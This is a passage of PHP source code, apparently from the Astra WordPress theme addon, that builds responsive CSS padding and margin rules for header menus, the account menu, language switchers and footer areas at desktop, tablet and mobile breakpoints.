astra_get_css_value( $sub_menu_mobile_spacing_right, $sub_menu_mobile_spacing_unit ), ), $selector . ' .ast-nav-menu .sub-menu .menu-item.menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $sub_menu_spacing, 'top', 'mobile' ), 'right' => class_exists( 'Astra_Addon_Builder_Helper' ) ? astra_calc_spacing( astra_responsive_spacing( $sub_menu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ) : '', ), ); $spacing_css_output .= astra_parse_css( $css_output_desktop ); $spacing_css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); } /** * Account CSS. */ if ( is_callable( 'Astra_Addon_Builder_Helper::is_component_loaded' ) && Astra_Addon_Builder_Helper::is_component_loaded( 'account', 'header' ) ) { $selector = '.ast-header-account-wrap'; $adv_selector = '.ast-advanced-headers .ast-header-account-wrap'; // Spacing. $menu_spacing = astra_get_option( 'header-account-menu-spacing' ); $css_output_desktop = array( $selector . ' .main-header-menu.ast-account-nav-menu .menu-item .menu-link, ' . $adv_selector . ' .main-header-menu.ast-account-nav-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $menu_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $menu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $menu_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $menu_spacing, 'right', 'desktop' ), ), ); $css_output_tablet = array( $selector . ' .main-header-menu.ast-account-nav-menu .menu-item .menu-link, ' . $adv_selector . ' .main-header-menu.ast-account-nav-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $menu_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $menu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $menu_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $menu_spacing, 'right', 'tablet' ), ), ); $css_output_mobile = array( $selector . ' .main-header-menu.ast-account-nav-menu .menu-item .menu-link, ' . $adv_selector . ' .main-header-menu.ast-account-nav-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $menu_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $menu_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $menu_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $menu_spacing, 'right', 'mobile' ), ), ); /* Parse CSS from array() */ $spacing_css_output .= astra_parse_css( $css_output_desktop ); $spacing_css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); } /** * Language switcher CSS. */ if ( is_callable( 'Astra_Addon_Builder_Helper::is_component_loaded' ) && Astra_Addon_Builder_Helper::is_component_loaded( 'language-switcher', 'header' ) ) { $_section = 'section-hb-language-switcher'; $selector = '.ast-header-language-switcher'; $margin = astra_get_option( $_section . '-margin' ); $item_spacing = astra_get_option( $_section . '-item-spacing' ); /** * Desktop CSS. */ $lswitcher_css_output_desktop = array( $selector => array( // Margin. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), '.ast-builder-language-switcher-menu-item-header' => array( // Margin. 'padding-top' => astra_responsive_spacing( $item_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $item_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $item_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $item_spacing, 'right', 'desktop' ), ), ); /** * Tablet CSS. */ $lswitcher_css_output_tablet = array( $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), '.ast-builder-language-switcher-menu-item-header' => array( // Padding. 'padding-top' => astra_responsive_spacing( $item_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $item_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $item_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $item_spacing, 'right', 'tablet' ), ), ); /** * Mobile CSS. */ $lswitcher_css_output_mobile = array( $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), '.ast-builder-language-switcher-menu-item-header' => array( // Padding. 'padding-top' => astra_responsive_spacing( $item_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $item_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $item_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $item_spacing, 'right', 'mobile' ), ), ); /* Parse CSS from array() */ $spacing_css_output .= astra_parse_css( $lswitcher_css_output_desktop ); $spacing_css_output .= astra_parse_css( $lswitcher_css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $lswitcher_css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); } /** * Language switcher CSS. */ if ( is_callable( 'Astra_Addon_Builder_Helper::is_component_loaded' ) && Astra_Addon_Builder_Helper::is_component_loaded( 'language-switcher', 'footer' ) ) { $_section = 'section-fb-language-switcher'; $selector = '.ast-footer-language-switcher'; $margin = astra_get_option( $_section . '-margin' ); $item_spacing = astra_get_option( $_section . '-item-spacing' ); /** * Desktop CSS. */ $lswitcher_css_output_desktop = array( $selector => array( // Margin. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), '.ast-builder-language-switcher-menu-item-footer' => array( // Margin. 'padding-top' => astra_responsive_spacing( $item_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $item_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $item_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $item_spacing, 'right', 'desktop' ), ), ); /** * Tablet CSS. */ $lswitcher_css_output_tablet = array( $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), '.ast-builder-language-switcher-menu-item-footer' => array( // Padding. 'padding-top' => astra_responsive_spacing( $item_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $item_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $item_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $item_spacing, 'right', 'tablet' ), ), ); /** * Mobile CSS. */ $lswitcher_css_output_mobile = array( $selector => array( // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), '.ast-builder-language-switcher-menu-item-footer' => array( // Padding. 'padding-top' => astra_responsive_spacing( $item_spacing, 'top', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $item_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $item_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $item_spacing, 'right', 'mobile' ), ), ); /* Parse CSS from array() */ $spacing_css_output .= astra_parse_css( $lswitcher_css_output_desktop ); $spacing_css_output .= astra_parse_css( $lswitcher_css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $lswitcher_css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); } } else { // Desktop Spacing. $spacing = array( // Header Spacing Top / Bottom Padding. '.main-header-bar, .ast-header-break-point .main-header-bar, .ast-header-break-point .header-main-layout-2 .main-header-bar' => array( 'padding-top' => astra_responsive_spacing( $header_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $header_spacing, 'bottom', 'desktop' ), ), // Header Spacing Left / Right Padding apply to inside container. '.main-header-bar .ast-container, #masthead .ast-container' => array( 'padding-left' => astra_responsive_spacing( $header_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $header_spacing, 'right', 'desktop' ), ), /** * Header Spacing */ '.ast-default-menu-enable.ast-main-header-nav-open.ast-header-break-point .main-header-bar, .ast-main-header-nav-open .main-header-bar' => array( 'padding-bottom' => 0, ), /** * Main Menu Spacing */ '.main-navigation ul .menu-item .menu-link, .ast-header-break-point .main-navigation ul .menu-item .menu-link, .ast-header-break-point li.ast-masthead-custom-menu-items, li.ast-masthead-custom-menu-items' => array( 'padding-top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $primary_menu_spacing, 'left', 'desktop' ), ), '.ast-header-break-point .main-navigation ul .menu-item.menu-item-has-children button' => array( 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'mobile' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'desktop' ), ), /** * Main Submenu Spacing */ '.ast-desktop .main-navigation .ast-mm-template-content, .ast-desktop .main-navigation .ast-mm-custom-content, .ast-desktop .main-navigation .ast-mm-custom-text-content,.main-navigation .sub-menu .menu-item .menu-link, .ast-header-break-point .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $primary_submenu_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'desktop' ), ), '.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'desktop' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'desktop' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'desktop' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .ast-above-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'desktop' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'desktop' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu .sub-menu .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-navigation .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .ast-below-header-menu-items .sub-menu .menu-item .menu-link, .ast-fullscreen-menu-enable.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'desktop' ), ), /** * Below Header Spacing */ // Below Header Spacing Top / Bottom Padding. '.ast-below-header, .ast-header-break-point .ast-below-header' => array( 'padding-top' => astra_responsive_spacing( $below_header_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $below_header_spacing, 'bottom', 'desktop' ), ), // Below Header Spacing Left / Right Padding apply to inside container. '.ast-below-header .ast-container, #masthead .ast-below-header .ast-container' => array( 'padding-left' => astra_responsive_spacing( $below_header_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $below_header_spacing, 'right', 'desktop' ), ), /** * Below Header Menu Spacing */ '.ast-below-header-menu .menu-link, .below-header-nav-padding-support .below-header-section-1 .below-header-menu > .menu-item > .menu-link, .below-header-nav-padding-support .below-header-section-2 .below-header-menu > .menu-item > .menu-link, .ast-header-break-point .ast-below-header-actual-nav > .ast-below-header-menu > .menu-item > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $below_header_menu_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $below_header_menu_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $below_header_menu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $below_header_menu_spacing, 'left', 'desktop' ), ), /** * Below Header Submenu Spacing */ '.ast-desktop .ast-below-header-menu .ast-mm-template-content, .ast-desktop .ast-below-header-menu .ast-mm-custom-text-content, .ast-below-header-menu .sub-menu .menu-link, .ast-header-break-point .ast-below-header-actual-nav .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $below_header_submenu_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $below_header_submenu_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $below_header_submenu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $below_header_submenu_spacing, 'left', 'desktop' ), ), /* Padding right set to zero to all the menu elements that have submenu*/ '.ast-fullscreen-below-menu-enable.ast-header-break-point .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-below-menu-enable.ast-header-break-point .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, ), /* Align submenu toggle button with menu text for menu */ '.ast-default-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-default-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-flyout-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $below_header_menu_spacing, 'top', 'desktop' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $below_header_menu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for sub menu */ '.ast-default-below-menu-enable .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle, .ast-flyout-below-menu-enable .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $below_header_submenu_spacing, 'top', 'desktop' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $below_header_submenu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for full screen menu */ '.ast-fullscreen-below-menu-enable.ast-header-break-point .ast-below-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-fullscreen-below-menu-enable.ast-header-break-point .ast-below-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /* Align submenu toggle button with menu text for full screen sub menu */ '.ast-fullscreen-below-menu-enable .ast-below-header-enabled .ast-below-header-navigation .ast-below-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /** * Above Header Spacing */ // Above Header Spacing Top / Bottom Padding. '.ast-above-header' => array( 'padding-top' => astra_responsive_spacing( $above_header_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $above_header_spacing, 'bottom', 'desktop' ), ), // Above Header Spacing Left / Right Padding apply to inside container. '.ast-above-header-wrap .ast-above-header .ast-container, #masthead .ast-above-header-wrap .ast-above-header .ast-container' => array( 'padding-left' => astra_responsive_spacing( $above_header_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $above_header_spacing, 'right', 'desktop' ), ), /** * Above Header Menu Spacing */ '.ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu > .menu-item > .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu > .menu-item:first-child > .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu > .menu-item:last-child > .menu-link' => array( 'padding-top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $above_header_menu_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $above_header_menu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $above_header_menu_spacing, 'left', 'desktop' ), ), /** * Above Header Toggle Button Top */ '.ast-header-break-point .ast-above-header-navigation > ul > .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'desktop' ), ), /** * Above Header Submenu Spacing */ '.ast-desktop .ast-above-header-navigation .ast-mm-custom-text-content, .ast-desktop .ast-above-header-navigation .ast-mm-template-content, .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item .sub-menu .menu-link, .ast-header-break-point .ast-above-header-enabled .ast-above-header-menu .menu-item .sub-menu .menu-link, .ast-above-header-enabled .ast-above-header-menu > .menu-item:first-child .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $above_header_submenu_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $above_header_submenu_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $above_header_submenu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $above_header_submenu_spacing, 'left', 'desktop' ), ), /* Padding right set to zero to all the menu elements that have submenu*/ '.ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children > .menu-link, .ast-default-above-menu-enable.ast-header-break-point .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children > .menu-link, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children > .menu-link' => array( 'padding-right' => 0, ), /* Align submenu toggle button with menu text for menu */ '.ast-default-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-default-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-flyout-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_menu_spacing, 'top', 'desktop' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $above_header_menu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for sub menu */ '.ast-default-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle, .ast-flyout-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $above_header_submenu_spacing, 'top', 'desktop' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $above_header_submenu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), /* Align submenu toggle button with menu text for full screen menu */ '.ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-navigation .menu-item-has-children > .ast-menu-toggle, .ast-fullscreen-above-menu-enable.ast-header-break-point .ast-above-header-menu-items .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), /* Align submenu toggle button with menu text for full screen sub menu */ '.ast-fullscreen-above-menu-enable .ast-above-header-enabled .ast-above-header-navigation .ast-above-header-menu .menu-item.menu-item-has-children .sub-menu .ast-menu-toggle' => array( 'margin-right' => astra_responsive_spacing( $above_header_submenu_spacing, 'right', 'desktop' ), 'right' => esc_attr( 0 ), ), /** * Footer Spacing */ // Footer Spacing Top / Bottom Padding. '.ast-footer-overlay' => array( 'padding-top' => astra_responsive_spacing( $footer_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $footer_spacing, 'bottom', 'desktop' ), ), // Footer Spacing Left / Right Padding to inside container. '.ast-small-footer .ast-container' => array( 'padding-left' => astra_responsive_spacing( $footer_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $footer_spacing, 'right', 'desktop' ), ), // Default margin for .ast-row is -20px, Managing Margin to fix repsonsive design. '.ast-small-footer .ast-row' => array( 'margin-left' => astra_responsive_spacing( $footer_spacing, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $footer_spacing, 'right', 'desktop' ), ), /** * Footer Menu Spacing */ '.ast-small-footer .nav-menu a, .footer-sml-layout-2 .ast-small-footer-section-1 .menu-item a, .footer-sml-layout-2 .ast-small-footer-section-2 .menu-item a' => array( 'padding-top' => astra_responsive_spacing( $footer_menu_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $footer_menu_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $footer_menu_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $footer_menu_spacing, 'left', 'desktop' ), ), ); $spacing_css_output .= astra_parse_css( $spacing ); // Tablet Spacing. $tablet_spacing = array( // Header Spacing Top / Bottom Padding. '.main-header-bar, .ast-header-break-point .main-header-bar, .ast-header-break-point .header-main-layout-2 .main-header-bar' => array( 'padding-top' => astra_responsive_spacing( $header_spacing, 'top', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $header_spacing, 'bottom', 'tablet' ), ), // Header Spacing Left / Right Padding apply to inside container. '.main-header-bar .ast-container, #masthead .ast-container' => array( 'padding-left' => astra_responsive_spacing( $header_spacing, 'left', 'tablet' ), 'padding-right' => astra_responsive_spacing( $header_spacing, 'right', 'tablet' ), ), /** * Header Tablet Spacing */ '.ast-default-menu-enable.ast-main-header-nav-open.ast-header-break-point .main-header-bar, .ast-main-header-nav-open .main-header-bar' => array( 'padding-bottom' => 0, ), /** * Main Menu Spacing */ '.main-navigation ul .menu-item .menu-link, .ast-header-break-point .main-navigation ul .menu-item .menu-link, .ast-header-break-point li.ast-masthead-custom-menu-items, li.ast-masthead-custom-menu-items' => array( 'padding-top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $primary_menu_spacing, 'left', 'tablet' ), ), '.ast-header-break-point .main-navigation ul .menu-item.menu-item-has-children button' => array( 'padding-right' => astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $primary_menu_spacing, 'bottom', 'mobile' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'right' => esc_attr( 0 ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'tablet' ), ), /** * Main Submenu Spacing */ '.ast-desktop .main-navigation .ast-mm-template-content, .ast-desktop .main-navigation .ast-mm-custom-content, .ast-desktop .main-navigation .ast-mm-custom-text-content,.main-navigation .sub-menu .menu-item .menu-link, .ast-header-break-point .main-navigation .sub-menu .menu-item .menu-link' => array( 'padding-top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'tablet' ), 'padding-right' => 0, 'padding-bottom' => astra_responsive_spacing( $primary_submenu_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), ), // Primary Header Submenu level 2. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), '+', '10', 'px' ), ), // Primary Header Submenu level 3. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), '+', '20', 'px' ), ), // Primary Header Submenu level 4. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), '+', '30', 'px' ), ), // Primary Header Submenu level 5. '.ast-header-break-point .main-navigation .sub-menu .menu-item .menu-item .menu-item .menu-item .menu-item .menu-link' => array( 'padding-left' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'left', 'tablet' ), '+', '40', 'px' ), ), '.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_submenu_spacing, 'top', 'tablet' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_submenu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), '.ast-fullscreen-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'margin-right' => astra_responsive_spacing( $primary_submenu_spacing, 'right', 'tablet' ), 'right' => esc_attr( 0 ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu .menu-item-has-children > .ast-menu-toggle' => array( 'right' => astra_calc_spacing( 